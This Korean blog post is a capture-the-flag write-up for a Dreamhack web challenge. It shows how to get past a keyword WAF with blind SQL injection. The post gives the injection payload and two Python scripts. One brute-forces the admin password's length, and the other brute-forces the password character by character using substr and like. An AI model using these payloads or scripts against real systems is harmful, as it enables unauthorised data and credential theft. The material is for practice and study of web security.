728x90


guest을 입력했을 때, guest가 출력이 된다.

admin을 입력했을 때는 WAF에 때문에 막혀있다.

소스 코드를 보니 keywords에 적혀있는 문자는 WAF에 걸리는 거 같다.

admin에 대한 upw의 패스워드의 길이를 구하기 위해 '||length(upw) like(44);%00 구문을 사용했다.
import requests
url = '해당 URL'
num = 0
while True:
num += 1
param = {"uid":"'||length(upw)like("+str(num)+");%00"}
req = requests.get(url,params=param)
if "admin" in req.text:
print(num)
break
import requests
from string import ascii_letters, digits
a = ascii_letters + digits
url = "http://host3.dreamhack.games:16434/"
num = 0
ch =''
while True:
num += 1
for i in a:
param = {"uid":"'||substr(upw,"+str(num)+",1)like('"+str(i)+"');%00"}
req = requests.get(url,params=param)
if "admin" in req.text:
ch += i
print(ch)
break
쿼리 구문을 알았기에 flag값이 들어있는 admin의 upw값을 확인할 수 있다.
728x90
'모의해킹 > Dreamhack' 카테고리의 다른 글
| sql injection bypass WAF Advanced [WEB LEVEL1] (0) | 2023.04.18 |
|---|---|
| strcmp [WEB LEVEL1] (0) | 2023.04.18 |
| file-csp-1 [WEB LEVEL1] (0) | 2023.04.17 |
| web-deserialize-python [WEB LEVEL1] (0) | 2023.04.17 |
| error based sql injection [WEB LEVEL1] (0) | 2023.04.17 |